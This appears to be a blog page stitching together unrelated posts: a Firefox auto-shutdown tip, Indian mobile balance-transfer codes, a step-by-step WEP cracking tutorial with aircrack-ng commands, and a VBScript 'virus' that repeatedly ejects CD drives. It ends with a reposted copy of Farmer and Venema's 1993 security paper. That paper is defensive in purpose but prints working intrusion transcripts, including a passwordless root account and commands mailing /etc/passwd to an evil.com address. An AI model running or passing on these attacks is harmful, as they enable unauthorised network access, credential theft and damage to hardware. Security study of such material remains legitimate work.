How to Shutdown Computer automatically Using Firefox Auto Shutdown Add-on

4222061665 632c48d187 o How to Shutdown Computer automatically Using Firefox Auto Shutdown Add onFirefox is the top most world widely used web browser. Because it is handy and have lots of features though its add-on and extension. Sometimes we download files using Firefox and on the same time we need to go for some work. So until we come back the computer waste the energy. In this situation we can use Firefox Auto shutdown the computer when downloads are completed and helps us to save electric power.

4222067729 241056e744 How to Shutdown Computer automatically Using Firefox Auto Shutdown Add on

Auto Shutdown is a cool Firefox add-on which controls your active download and shut down the computer when downloads are completed through is auto executing user script. Not only this but if Firefox is running idle it also shut downs the pc 4222074655 e22c0502ae o How to Shutdown Computer automatically Using Firefox Auto Shutdown Add onautomatically with pre defined shut down time.

If you are using Downthemall Firefox extension for downloading movies, video, music and images from web then you can easily integrate Auto shutdown Firefox extension with downthemall add-on.

Download Auto shutdown Firefox Add-on

Simple Wi-Fi WEP Crack

wifi-300x189

Overview

To crack the WEP key for an access point, we need to gather lots of initialization vectors (IVs). Normal network traffic does not typically generate these IVs very quickly. Theoretically, if you are patient, you can gather sufficient IVs to crack the WEP key by simply listening to the network traffic and saving them. Since none of us are patient, we use a technique called injection to speed up the process. Injection involves having the access point (AP) resend selected packets over and over very rapidly. This allows us to capture a large number of IVs in a short period of time.
Equipments used
Wifi Adaptor : Alfa AWUS036H (available on eBay & Amazon)
Software : Backtrack 4 (Free download from http://www.backtrack-linux.org)

Step 1 – Start the wireless interface in monitor mode on AP channel

airmon-ng start wlan1 6
starts wifi interface in channel 6

Step 2 – Test Wireless Device Packet Injection

aireplay-ng -6 -e infosec -a 00:1B:11:24:27:2E  wlan1
-9 means injection
-a 00:1B:11:24:27:2E is the access point MAC address

Step 3 – Start airodump-ng to capture the IVs

airodump-ng -c 6 –bssid 00:1B:11:24:27:2E -w output wlan1

Step 4 – Use aireplay-ng to do a fake authentication with the access point

In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet in cleartext. In this state, no new IVs are created because the AP is ignoring all the injected packets.
aireplay-ng -1 0 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1
-1 means fake authentication
0 reassociation timing in seconds
-e infosec is the wireless network name
-a 00:14:6C:7E:40:80 is the access point MAC address
-h 00:0F:B5:88:AC:82 is our card MAC address
OR
aireplay-ng -1 2 -o 1 -q 10 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1
2 – Reauthenticate every 2 seconds.
-o 1 – Send only one set of packets at a time. Default is multiple and this confuses some APs.
-q 10 – Send keep alive packets every 10 seconds.
Troubleshooting Tips

Some access points are configured to only allow selected MAC addresses to associate and connect. If this is the case, you will not be able to successfully do fake authentication unless you know one of the MAC addresses on the allowed list. If you suspect this is the problem, use the following command while trying to do fake authentication. Start another session and…
Run:tcpdump -n -vvv -s0 -e -i | grep -i -E ”(RA:|Authentication|ssoc)”

You would then look for error messages.
If at any time you wish to confirm you are properly associated is to use tcpdump and look at the packets. Start another session and…
Run: “tcpdump -n -e -s0 -vvv -i wlan1”

Here is a typical tcpdump error message you are looking for:
11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80   DeAuthentication: Class 3 frame received from nonassociated station
Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:0F:B5:88:AC:82) you are not associated. Meaning, the AP will not process or accept the injected packets.
If you want to select only the DeAuth packets with tcpdump then you can use: “tcpdump -n -e -s0 -vvv -i wlan1 | grep -i DeAuth”. You may need to tweak the phrase “DeAuth” to pick out the exact packets you want.

Step 5 – Start aireplay-ng in ARP request replay mode

aireplay-ng -3 -b 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1

Step 6 – Run aircrack-ng to obtain the WEP key

aircrack-ng -b 00:1B:11:24:27:2E output*.cap
All Done! icon smile Simple Wi Fi WEP Crack [TUTORIAL]

Balance Transfer Trick

1) Balance Transfer for BSNL 

If you are using BSNL , then balance transfer is most simple for you .All you have to need is send a message. Follow these following steps

BSNL also utilises SMS to provide balance transfer service. To use this service, you need to type SMS in this format: Gift < SPACE > < Receiver’s Number > < SPACE >< Amount > and send it to either 53733 or 53738. For example, Gift 9876543210 50. 9876543210 is receiver’s number and 50 is transfer amount.e done with it.

  • Limitations –You can transfer amount from Rs.5 to Rs.50 only. The receiver should be active from atleast for 30 days and sender should be active for atleast 3 months .

2) Balance Transfer for Airtel 

To transfer balance for your Airtel operator, follow the steps

Just Dial USSD code *141#
A window will appear where you can see many option.
Select first option i.e Share Talk Time .
Just type mobile number ( receiver’s no ).

  • Limitations – You can transfer Rs. 5 to Rs. 30  only. And after you have done with the transfer , you should have at least Rs. 10 balance . You can do this 5 times a day.

3) Balance Transfer for Idea 

Idea also provide this service in very simple steps –

Type – *567*< Receiver’s Mobile Number >*< Amount>#.

  • Limitations – You can transfer Rs.5 to Rs.100 only. You will . Adding to this you can send balanceLbe charge Rs.2 per transaction only once in a day to a particular number.

4) Balance Transfer for Tata Docomo

Tata Docomo has the simplest way to do this type of mobile balance transfer . You have to just send a simple message for doing this.

The format for message is –  BT<SPACE>Mobile Number<SPACE>Amount 
and send it to 54321 .Example – BT 8149461048 50. Here, Rs. 50 balance will be transferred to mobile number 8149461048.

  • Limitations – You will be charged Rs.2 for every balance transfer. The sender should be customer of Tata Docomo from atleast 90 days and receiver from 30 days.

5) Balance Transfer for Vodafone

Simplicity is always been the strength of Vodafone. Also transferring the balance is very simple . Follow the steps given below –

Dial  *131*< Amount >*< Receiver’s Mobile Number >#  ,here the amount is the balance or money to be transferred to the receiver .You don’t need to give space in between.

  • Limitations –You can transfer Rs. 3 to Rs.30 only . Balance can be transfer only once in a day to the same number. Processing fee may differ according to the amount you are transferring. It cost Re.1 for transferring Rs.5 .

6) Balance Transfer for Aircel

Transferring balance for Aircel mobile users is quite similar to Airtel. Following is the process;

Type *122*666# and call .Soon a window will appear , this will show various amounts to be transferred. Amount may range for Rs.5 to Rs.100 .Then Select the amount and then enter the receiver’s  number , press OK.

  • Limitations – You can transfer amount to a single number once a day. Rs .2 will be charged for every transfer . Funny thing is , Aircel does not guarantee for transfer and not responsible for money .Jloss

7) Balance Transfer for Reliance 

The tag line of Reliance “ Karlo Duniya Mutthi ” Mai is best suited here as you can really do every transaction for absolutely free and without any mentioned conditions .
The process is also very simple –

Dial *367*3#
Enter *312*3# and mobile number
Enter balance amount
Enter PIN. Default PIN is 1.
You’re done.

8) Balance transfer for Uninor 

Uninor customers just have to dial a simple code . The format is as follows –

*202*< Mobile Number >*< Amount >#. Here, Mobile number is the receiver number and amount is the balance to be transferred.

  • Limitations –Processing fee is Rs.2 for every transaction . You can transferred amout of Rs.5 to Rs.50 . The transaction between the same number can occur only once in a day.

Virus That Ejects your CD/Dvd Drive Again and Again.

Try at your own risk. I am not responsible for your own deeds. For educational purpose only.

In this blog i will show you how to create a Virus That Ejects your CD/Dvd Drive Again and Again.. Its not a prank… This Can Damage your CD/Dvd Drive…

Here is the code:

Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Write this code in notepad and save it as anything.vbs
Virus created. Now you just need to click it and Enjoy….

Dan Farmer’s Improving the Security of Your Site by Breaking Into It

>From annaliza@netcom.com Ukn Dec 1 23:30:29 1993
Received: from mail.netcom.com (netcom3.netcom.com [192.100.81.103]) by kaiwan.kaiwan.com (8.6.4/8.6.4) with ESMTP
id XAA29728 for <budds@kaiwan.com>; Wed, 1 Dec 1993 23:30:04 -0800
*** Knowledge Added Information Wide Area Network ***
Received: from localhost by mail.netcom.com (8.6.4/SMI-4.1/Netcom)
id XAA16337; Wed, 1 Dec 1993 23:30:12 -0800
From: annaliza@netcom.com (Annaliza T. Orquamada)
Message-Id: <199312020730.XAA16337@mail.netcom.com>
Subject: I posted it…. (fwd)
To: budds@kaiwan.com
Date: Wed, 1 Dec 93 23:30:12 PST
X-Mailer: ELM [version 2.3 PL11]
Status: RO
X-Status:

Forwarded message:
>From Dan.Farmer@Corp.Sun.COM Wed Dec 1 20:03:15 1993
Message-Id: <9312020405.AA01850@death.corp.sun.com.corp.sun.com>
To: annaliza@netcom.com
Subject: I posted it….
Date: Wed, 01 Dec 93 20:05:23 -0800
From: Dan <Dan.Farmer@Corp.Sun.COM>

This is absolutely the real thing 🙂

*kiss*

dan

_Improving the Security of Your Site by Breaking Into it_

Dan Farmer Wietse Venema
Sun Microsystems Eindhoven University of Technology
zen@sun.com wietse@wzv.win.tue.nl

Introduction
————

Every day, all over the world, computer networks and hosts are being
broken into. The level of sophistication of these attacks varies
widely; while it is generally believed that most break-ins succeed due
to weak passwords, there are still a large number of intrusions that use
more advanced techniques to break in. Less is known about the latter
types of break-ins, because by their very nature they are much harder to
detect.

—–

CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley.
Purdue. Sun. You name it, we’ve seen it broken into. Anything that is
on the Internet (and many that isn’t) seems to be fairly easy game. Are
these targets unusual? What happened?

Fade to…

A young boy, with greasy blonde hair, sitting in a dark room. The room
is illuminated only by the luminescense of the C64’s 40 character
screen. Taking another long drag from his Benson and Hedges cigarette,
the weary system cracker telnets to the next faceless “.mil” site on his
hit list. “guest — guest”, “root — root”, and “system — manager” all
fail. No matter. He has all night… he pencils the host off of his
list, and tiredly types in the next potential victim…

This seems to be the popular image of a system cracker. Young,
inexperienced, and possessing vast quantities of time to waste, to get
into just one more system. However, there is a far more dangerous type
of system cracker out there. One who knows the ins and outs of the
latest security auditing and cracking tools, who can modify them for
specific attacks, and who can write his/her own programs. One who not
only reads about the latest security holes, but also personally
discovers bugs and vulnerabilities. A deadly creature that can both
strike poisonously and hide its tracks without a whisper or hint of a
trail. The uebercracker is here.

—–

Why “uebercracker”? The idea is stolen, obviously, from Nietzsche’s
uebermensch, or, literally translated into English, “over man.”
Nietzsche used the term not to refer to a comic book superman, but
instead a man who had gone beyond the incompetence, pettiness, and
weakness of the everyday man. The uebercracker is therefore the system
cracker who has gone beyond simple cookbook methods of breaking into
systems. An uebercracker is not usually motivated to perform random
acts of violence. Targets are not arbitrary — there is a purpose,
whether it be personal monetary gain, a hit and run raid for
information, or a challenge to strike a major or prestigious site or
net.personality. An uebercracker is hard to detect, harder to stop, and
hardest to keep out of your site for good.

Overview
——–

In this paper we will take an unusual approach to system security.
Instead of merely saying that something is a problem, we will look
through the eyes of a potential intruder, and show _why_ it is one. We
will illustrate that even seemingly harmless network services can become
valuable tools in the search for weak points of a system, even when
these services are operating exactly as they are intended to.

In an effort to shed some light on how more advanced intrusions occur,
this paper outlines various mechanisms that crackers have actually used
to obtain access to systems and, in addition, some techniques we either
suspect intruders of using, or that we have used ourselves in tests or
in friendly/authorized environments.

Our motivation for writing this paper is that system administrators are
often unaware of the dangers presented by anything beyond the most
trivial attacks. While it is widely known that the proper level of
protection depends on what has to be protected, many sites appear to
lack the resources to assess what level of host and network security is
adequate. By showing what intruders can do to gain access to a remote
site, we are trying to help system administrators to make _informed_
decisions on how to secure their site — or not. We will limit the
discussion to techniques that can give a remote intruder access to a
(possibly non-interactive) shell process on a UNIX host. Once this is
achieved, the details of obtaining root privilege are beyond the scope
of this work — we consider them too site-dependent and, in many cases,
too trivial to merit much discussion.

We want to stress that we will not merely run down a list of bugs or
security holes — there will always be new ones for a potential attacker
to exploit. The purpose of this paper is to try to get the reader to
look at her or his system in a new way — one that will hopefully afford
him or her the opportunity to _understand_ how their system can be
compromised, and how.

We would also like to reiterate to the reader that the purpose of this
paper is to show you how to test the security of your own site, not how
to break into other people’s systems. The intrusion techniques we
illustrate here will often leave traces in your system auditing logs —
it might be constructive to examine them after trying some of these
attacks out, to see what a real attack might look like. Certainly other
sites and system administrators will take a very dim view of your
activities if you decide to use their hosts for security testing without
advance authorization; indeed, it is quite possible that legal action
may be pursued against you if they perceive it as an attack.

There are four main parts to the paper. The first part is the
introduction and overview. The second part attempts to give the reader
a feel for what it is like to be an intruder and how to go from knowing
nothing about a system to compromising its security. This section goes
over actual techniques to gain information and entrance and covers basic
strategies such as exploiting trust and abusing improperly configured
basic network services (ftp, mail, tftp, etc.) It also discusses
slightly more advanced topics, such as NIS and NFS, as well as various
common bugs and configuration problems that are somewhat more OS or
system specific. Defensive strategies against each of the various
attacks are also covered here.

The third section deals with trust: how the security of one system
depends on the integrity of other systems. Trust is the most complex
subject in this paper, and for the sake of brevity we will limit the
discussion to clients in disguise.

The fourth section covers the basic steps that a system administrator
may take to protect her or his system. Most of the methods presented
here are merely common sense, but they are often ignored in practice —
one of our goals is to show just how dangerous it can be to ignore basic
security practices.

Case studies, pointers to security-related information, and software are
described in the appendices at the end of the paper.

While exploring the methods and strategies discussed in this paper we we
wrote SATAN (Security Analysis Tool for Auditing Networks.) Written in
shell, perl, expect and C, it examines a remote host or set of hosts and
gathers as much information as possible by remotely probing NIS, finger,
NFS, ftp and tftp, rexd, and other services. This information includes
the presence of various network information services as well as
potential security flaws — usually in the form of incorrectly setup or
configured network services, well-known bugs in system or network
utilities, or poor or ignorant policy decisions. It then can either
report on this data or use an expert system to further investigate any
potential security problems. While SATAN doesn’t use all of the methods
that we discuss in the paper, it has succeeded with ominous regularity
in finding serious holes in the security of Internet sites. It will be
posted and made available via anonymous ftp when completed; Appendix A
covers its salient features.

Note that it isn’t possible to cover all possible methods of breaking
into systems in a single paper. Indeed, we won’t cover two of the most
effective methods of breaking into hosts: social engineering and
password cracking. The latter method is so effective, however, that
several of the strategies presented here are geared towards acquiring
password files. In addition, while windowing systems (X, OpenWindows,
etc.) can provide a fertile ground for exploitation, we simply don’t
know many methods that are used to break into remote systems. Many
system crackers use non-bitmapped terminals which can prevent them from
using some of the more interesting methods to exploit windowing systems
effectively (although being able to monitor the victim’s keyboard is
often sufficient to capture passwords). Finally, while worms, viruses,
trojan horses, and other malware are very interesting, they are not
common (on UNIX systems) and probably will use similar techniques to the
ones we describe in this paper as individual parts to their attack
strategy.

Gaining Information
——————-

Let us assume that you are the head system administrator of Victim
Incorporated’s network of UNIX workstations. In an effort to secure
your machines, you ask a friendly system administrator from a nearby
site (evil.com) to give you an account on one of her machines so that
you can look at your own system’s security from the outside.

What should you do? First, try to gather information about your
(target) host. There is a wealth of network services to look at:
finger, showmount, and rpcinfo are good starting points. But don’t stop
there — you should also utilize DNS, whois, sendmail (smtp), ftp, uucp,
and as many other services as you can find. There are so many methods
and techniques that space precludes us from showing all of them, but we
will try to show a cross-section of the most common and/or dangerous
strategies that we have seen or have thought of. Ideally, you would
gather such information about all hosts on the subnet or area of attack
— information is power — but for now we’ll examine only our intended
target.

To start out, you look at what the ubiquitous finger command shows you
(assume it is 6pm, Nov 6, 1993):

victim % finger @victim.com
[victim.com]
Login Name TTY Idle When Where
zen Dr. Fubar co 1d Wed 08:00 death.com

Good! A single idle user — it is likely that no one will notice if you
actually manage to break in.

Now you try more tactics. As every finger devotee knows, fingering “@”,
“0”, and “”, as well as common names, such as root, bin, ftp, system,
guest, demo, manager, etc., can reveal interesting information. What
that information is depends on the version of finger that your target is
running, but the most notable are account names, along with their home
directories and the host that they last logged in from.

To add to this information, you can use rusers (in particular with the
-l flag) to get useful information on logged-in users.

Trying these commands on victim.com reveals the following information,
presented in a compressed tabular form to save space:

Login Home-dir Shell Last login, from where
—– ——– —– ———————-
root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victim.com
bin /bin Never logged in
nobody / Tue Jun 15 08:57 on ttyp2 from server.victim.co
daemon / Tue Mar 23 12:14 on ttyp0 from big.victim.com
sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victim.com
zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from death.com
sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from evil.com
guest /export/foo /bin/sh Never logged in
ftp /home/ftp Never logged in

Both our experiments with SATAN and watching system crackers at work
have proved to us that finger is one of the most dangerous services,
because it is so useful for investigating a potential target. However,
much of this information is useful only when used in conjunction with
other data.

For instance, running showmount on your target reveals:

evil % showmount -e victim.com
export list for victim.com:
/export (everyone)
/var (everyone)
/usr easy
/export/exec/kvm/sun4c.sunos.4.1.3 easy
/export/root/easy easy
/export/swap/easy easy

Note that /export/foo is exported to the world; also note that this is
user guest’s home directory. Time for your first break-in! In this
case, you’ll mount the home directory of user “guest.” Since you don’t
have a corresponding account on the local machine and since root cannot
modify files on an NFS mounted filesystem, you create a “guest” account
in your local password file. As user guest you can put an .rhosts entry
in the remote guest home directory, which will allow you to login to the
target machine without having to supply a password.

evil # mount victim.com:/export/foo /foo
evil # cd /foo
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx–x–x 9 10001 daemon 1024 Aug 3 15:49 guest
evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx–x–x 9 guest daemon 1024 Aug 3 15:49 guest
evil # su guest
evil % echo victim.com >> guest/.rhosts
evil % rlogin victim.com
Welcome to victim.com!
victim %

If, instead of home directories, victim.com were exporting filesystems
with user commands (say, /usr or /usr/local/bin), you could replace a
command with a trojan horse that executes any command of your choice.
The next user to execute that command would execute your program.

We suggest that filesystems be exported:

o Read/write only to specific, trusted clients.
o Read-only, where possible (data or programs can often be
exported in this manner.)

If the target has a “+” wildcard in its /etc/hosts.equiv (the default in
various vendor’s machines) or has the netgroups bug (CERT advisory
91:12), any non-root user with a login name in the target’s password
file can rlogin to the target without a password. And since the user
“bin” often owns key files and directories, your next attack is to try
to log in to the target host and modify the password file to let you
have root access:

evil % whoami
bin
evil % rsh victim.com csh -i
Warning: no access to tty; thus no job control in this shell…
victim % ls -ldg /etc
drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc
victim % cd /etc
victim % mv passwd pw.old
victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
victim % ^D
evil % rlogin victim.com -l toor
Welcome to victim.com!
victim #

A few notes about the method used above; “rsh victim.com csh -i” is used
to initially get onto the system because it doesn’t leave any traces in
the wtmp or utmp system auditing files, making the rsh invisible for
finger and who. The remote shell isn’t attached to a pseudo-terminal,
however, so that screen-oriented programs such as pagers and editors
will fail — but it is very handy for brief exploration.

The COPS security auditing tool (see appendix D) will report key files
or directories that are writable to accounts other than the
superuser. If you run SunOS 4.x you can apply patch 100103 to fix most
file permission problems. On many systems, rsh probes as shown above,
even when successful, would remain completely unnoticed; the tcp wrapper
(appendix D), which logs incoming connections, can help to expose such
activities.

—-

What now? Have you uncovered all the holes on your target system? Not
by a long shot. Going back to the finger results on your target, you
notice that it has an “ftp” account, which usually means that anonymous
ftp is enabled. Anonymous ftp can be an easy way to get access, as it
is often misconfigured. For example, the target may have a complete
copy of the /etc/passwd file in the anonymous ftp ~ftp/etc directory
instead of a stripped down version. In this example, though, you see
that the latter doesn’t seem to be true (how can you tell without
actually examining the file?) However, the home directory of ftp on
victim.com is writable. This allows you to remotely execute a command
— in this case, mailing the password file back to yourself — by the
simple method of creating a .forward file that executes a command when
mail is sent to the ftp account. This is the same mechanism of piping
mail to a program that the “vacation” program uses to automatically
reply to mail messages.

evil % cat forward_sucker_file
“|/bin/mail zen@evil.com < /etc/passwd" evil % ftp victim.com Connected to victim.com 220 victim FTP server ready. Name (victim.com:zen): ftp 331 Guest login ok, send ident as password. Password: 230 Guest login ok, access restrictions apply. ftp> ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
total 5
drwxr-xr-x 4 101 1 512 Jun 20 1991 .
drwxr-xr-x 4 101 1 512 Jun 20 1991 ..
drwxr-xr-x 2 0 1 512 Jun 20 1991 bin
drwxr-xr-x 2 0 1 512 Jun 20 1991 etc
drwxr-xr-x 3 101 1 512 Aug 22 1991 pub
226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3.6 Kbytes/s)
ftp> put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
evil % echo test | mail ftp@victim.com

Now you simply wait for the password file to be sent back to you.

The security auditing tool COPS will check your anonymous ftp setup; see
the man page for ftpd, the documentation/code for COPS, or CERT advisory
93:10 for information on how to set up anonymous ftp correctly.
Vulnerabilities in ftp are often a matter of incorrect ownership or
permissions of key files or directories. At the very least, make sure
that ~ftp and all “system” directories and files below ~ftp are owned by
root and are not writable by any user.

While looking at ftp, you can check for an older bug that was once
widely exploited:

% ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> ls -al / (or whatever)

If this works, you now are logged in as root, and able to modify the
password file, or whatever you desire. If your system exhibits this
bug, you should definitely get an update to your ftpd daemon, either
from your vendor or (via anon ftp) from ftp.uu.net.

The wuarchive ftpd, a popular replacement ftp daemon put out by the
Washington University in Saint Louis, had almost the same problem. If
your wuarchive ftpd pre-dates April 8, 1993, you should replace it by a
more recent version.

Finally, there is a program vaguely similar to ftp — tftp, or the
trivial file transfer program. This daemon doesn’t require any password
for authentication; if a host provides tftp without restricting the
access (usually via some secure flag set in the inetd.conf file), an
attacker can read and write files anywhere on the system. In the
example, you get the remote password file and place it in your local
/tmp directory:

evil % tftp
tftp> connect victim.com
tftp> get /etc/passwd /tmp/passwd.victim
tftp> quit

For security’s sake, tftp should not be run; if tftp is necessary, use
the secure option/flag to restrict access to a directory that has no
valuable information, or run it under the control of a chroot wrapper
program.

—-

If none of the previous methods have worked, it is time to go on to more
drastic measures. You have a friend in rpcinfo, another very handy
program, sometimes even more useful than finger. Many hosts run RPC
services that can be exploited; rpcinfo can talk to the portmapper and
show you the way. It can tell you if the host is running NIS, if it is
a NIS server or slave, if a diskless workstation is around, if it is
running NFS, any of the info services (rusersd, rstatd, etc.), or any
other unusual programs (auditing or security related). For instance,
going back to our sample target:

evil % rpcinfo -p victim.com [output trimmed for brevity’s sake]
program vers proto port
100004 2 tcp 673 ypserv
100005 1 udp 721 mountd
100003 2 udp 2049 nfs
100026 1 udp 733 bootparam
100017 1 tcp 1274 rexd

In this case, you can see several significant facts about our target;
first of which is that it is an NIS server. It is perhaps not widely
known, but once you know the NIS domainname of a server, you can get any
of its NIS maps by a simple rpc query, even when you are outside the
subnet served by the NIS server (for example, using the YPX program that
can be found in the comp.sources.misc archives on ftp.uu.net). In
addition, very much like easily guessed passwords, many systems use
easily guessed NIS domainnames. Trying to guess the NIS domainname is
often very fruitful. Good candidates are the fully and partially
qualified hostname (e.g. “victim” and “victim.com”), the organization
name, netgroup names in “showmount” output, and so on. If you wanted to
guess that the domainname was “victim”, you could type:

evil % ypwhich -d victim victim.com
Domain victim not bound.

This was an unsuccessful attempt; if you had guessed correctly it would
have returned with the host name of victim.com’s NIS server. However,
note from the NFS section that victim.com is exporting the “/var”
directory to the world. All that is needed is to mount this directory
and look in the “yp” subdirectory — among other things you will see
another subdirectory that contains the domainname of the target.

evil # mount victim.com:/var /foo
evil # cd /foo
evil # /bin/ls -alg /foo/yp
total 17
1 drwxr-sr-x 4 root staff 512 Jul 12 14:22 .
1 drwxr-sr-x 11 root staff 512 Jun 29 10:54 ..
11 -rwxr-xr-x 1 root staff 10993 Apr 22 11:56 Makefile
1 drwxr-sr-x 2 root staff 512 Apr 22 11:20 binding
2 drwxr-sr-x 2 root staff 1536 Jul 12 14:22 foo_bar
[…]

In this case, “foo_bar” is the NIS domain name.

In addition, the NIS maps often contain a good list of user/employee
names as well as internal host lists, not to mention passwords for
cracking.

Appendix C details the results of a case study on NIS password files.

—-

You note that the rpcinfo output also showed that victim.com runs rexd.
Like the rsh daemon, rexd processes requests of the form “please execute
this command as that user”. Unlike rshd, however, rexd does not care if
the client host is in the hosts.equiv or .rhost files. Normally the rexd
client program is the “on” command, but it only takes a short C program
to send arbitrary client host and userid information to the rexd server;
rexd will happily execute the command. For these reasons, running rexd
is similar to having no passwords at all: all security is in the client,
not in the server where it should be. Rexd security can be improved
somewhat by using secure RPC.

—-

While looking at the output from rpcinfo, you observe that victim.com
also seems to be a server for diskless workstations. This is evidenced
by the presence of the bootparam service, which provides information to
the diskless clients for booting. If you ask nicely, using
BOOTPARAMPROC_WHOAMI and provide the address of a client, you can get
its NIS domainname. This can be very useful when combined with the fact
that you can get arbitrary NIS maps (such as the password file) when you
know the NIS domainname. Here is a sample code snippet to do just that
(bootparam is part of SATAN.)

char *server;
struct bp_whoami_arg arg; /* query */
struct bp_whoami_res res; /* reply */

/* initializations omitted… */

callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);

printf(“%s has nisdomain %s\n”, server, res.domain_name);

The showmount output indicated that “easy” is a diskless client of
victim.com, so we use its client address in the BOOTPARAMPROC_WHOAMI
query:

evil % bootparam victim.com easy.victim.com
victim.com has nisdomain foo_bar

—-

NIS masters control the mail aliases for the NIS domain in question.
Just like local mail alias files, you can create a mail alias that will
execute commands when mail is sent to it (a once popular example of this
is the “decode” alias which uudecodes mail files sent to it.) For
instance, here you create an alias “foo”, which mails the password file
back to evil.com by simply mailing any message to it:

nis-master # echo ‘foo: “| mail zen@evil.com < /etc/passwd "' >> /etc/aliases
nis-master # cd /var/yp
nis-master # make aliases
nis-master # echo test | mail -v foo@victim.com

Hopefully attackers won’t have control of your NIS master host, but even
more hopefully the lesson is clear — NIS is normally insecure, but if
an attacker has control of your NIS master, then s/he effectively has
control of the client hosts (e.g. can execute arbitrary commands).

There aren’t many effective defenses against NIS attacks; it is an
insecure service that has almost no authentication between clients and
servers. To make things worse, it seems fairly clear that arbitrary
maps can be forced onto even master servers (e.g., it is possible to
treat an NIS server as a client). This, obviously, would subvert the
entire schema. If it is absolutely necessary to use NIS, choosing a
hard to guess domainname can help slightly, but if you run diskless
clients that are exposed to potential attackers then it is trivial for
an attacker to defeat this simple step by using the bootparam trick to
get the domainname. If NIS is used to propagate the password maps, then
shadow passwords do not give additional protection because the shadow
map is still accessible to any attacker that has root on an attacking
host. Better is to use NIS as little as possible, or to at least
realize that the maps can be subject to perusal by potentially hostile
forces.

Secure RPC goes a long way to diminish the threat, but it has its own
problems, primarily in that it is difficult to administer, but also in
that the cryptographic methods used within are not very strong. It has
been rumored that NIS+, Sun’s new network information service, fixes
some of these problems, but until now it has been limited to running on
Suns, and thus far has not lived up to the promise of the design.
Finally, using packet filtering (at the very least port 111) or
securelib (see appendix D), or, for Suns, applying Sun patch 100482-02
all can help.

—-

The portmapper only knows about RPC services. Other network services
can be located with a brute-force method that connects to all network
ports. Many network utilities and windowing systems listen to specific
ports (e.g. sendmail is on port 25, telnet is on port 23, X windows is
usually on port 6000, etc.) SATAN includes a program that scans the
ports of a remote hosts and reports on its findings; if you run it
against our target, you see:

evil % tcpmap victim.com
Mapping 128.128.128.1
port 21: ftp
port 23: telnet
port 25: smtp
port 37: time
port 79: finger
port 512: exec
port 513: login
port 514: shell
port 515: printer
port 6000: (X)

This suggests that victim.com is running X windows. If not protected
properly (via the magic cookie or xhost mechanisms), window displays can
be captured or watched, user keystrokes may be stolen, programs executed
remotely, etc. Also, if the target is running X and accepts a telnet to
port 6000, that can be used for a denial of service attack, as the
target’s windowing system will often “freeze up” for a short period of
time. One method to determine the vulnerability of an X server is to
connect to it via the XOpenDisplay() function; if the function returns
NULL then you cannot access the victim’s display (opendisplay is part of
SATAN):

char *hostname;

if (XOpenDisplay(hostname) == NULL) {
printf(“Cannot open display: %s\n”, hostname);
} else {
printf(“Can open display: %s\n”, hostname);
}

evil % opendisplay victim.com:0
Cannot open display: victim.com:0

X terminals, though much less powerful than a complete UNIX system, can
have their own security problems. Many X terminals permit unrestricted
rsh access, allowing you to start X client programs in the victim’s
terminal with the output appearing on your own screen:

evil % xhost +xvictim.victim.com
evil % rsh xvictim.victim.com telnet victim.com -display evil.com

In any case, give as much thought to your window security as your
filesystem and network utilities, for it can compromise your system as
surely as a “+” in your hosts.equiv or a passwordless (root) account.

—-

Next, you examine sendmail. Sendmail is a very complex program that has
a long history of security problems, including the infamous “wiz”
command (hopefully long since disabled on all machines). You can often
determine the OS, sometimes down to the version number, of the target,
by looking at the version number returned by sendmail. This, in turn,
can give you hints as to how vulnerable it might be to any of the
numerous bugs. In addition, you can see if they run the “decode” alias,
which has its own set of problems:

evil % telnet victim.com 25
connecting to host victim.com (128.128.128.1.), port 25
connection open
220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
expn decode
250 <"|/usr/bin/uudecode">
quit

Running the “decode” alias is a security risk — it allows potential
attackers to overwrite any file that is writable by the owner of that
alias — often daemon, but potentially any user. Consider this piece of
mail — this will place “evil.com” in user zen’s .rhosts file if it is
writable:

evil % echo “evil.com” | uuencode /home/zen/.rhosts | mail decode@victim.com

If no home directories are known or writable, an interesting variation
of this is to create a bogus /etc/aliases.pag file that contains an
alias with a command you wish to execute on your target. This may work
since on many systems the aliases.pag and aliases.dir files, which
control the system’s mail aliases, are writable to the world.

evil % cat decode
bin: “| cat /etc/passwd | mail zen@evil.com”
evil % newaliases -oQ/tmp -oA`pwd`/decode
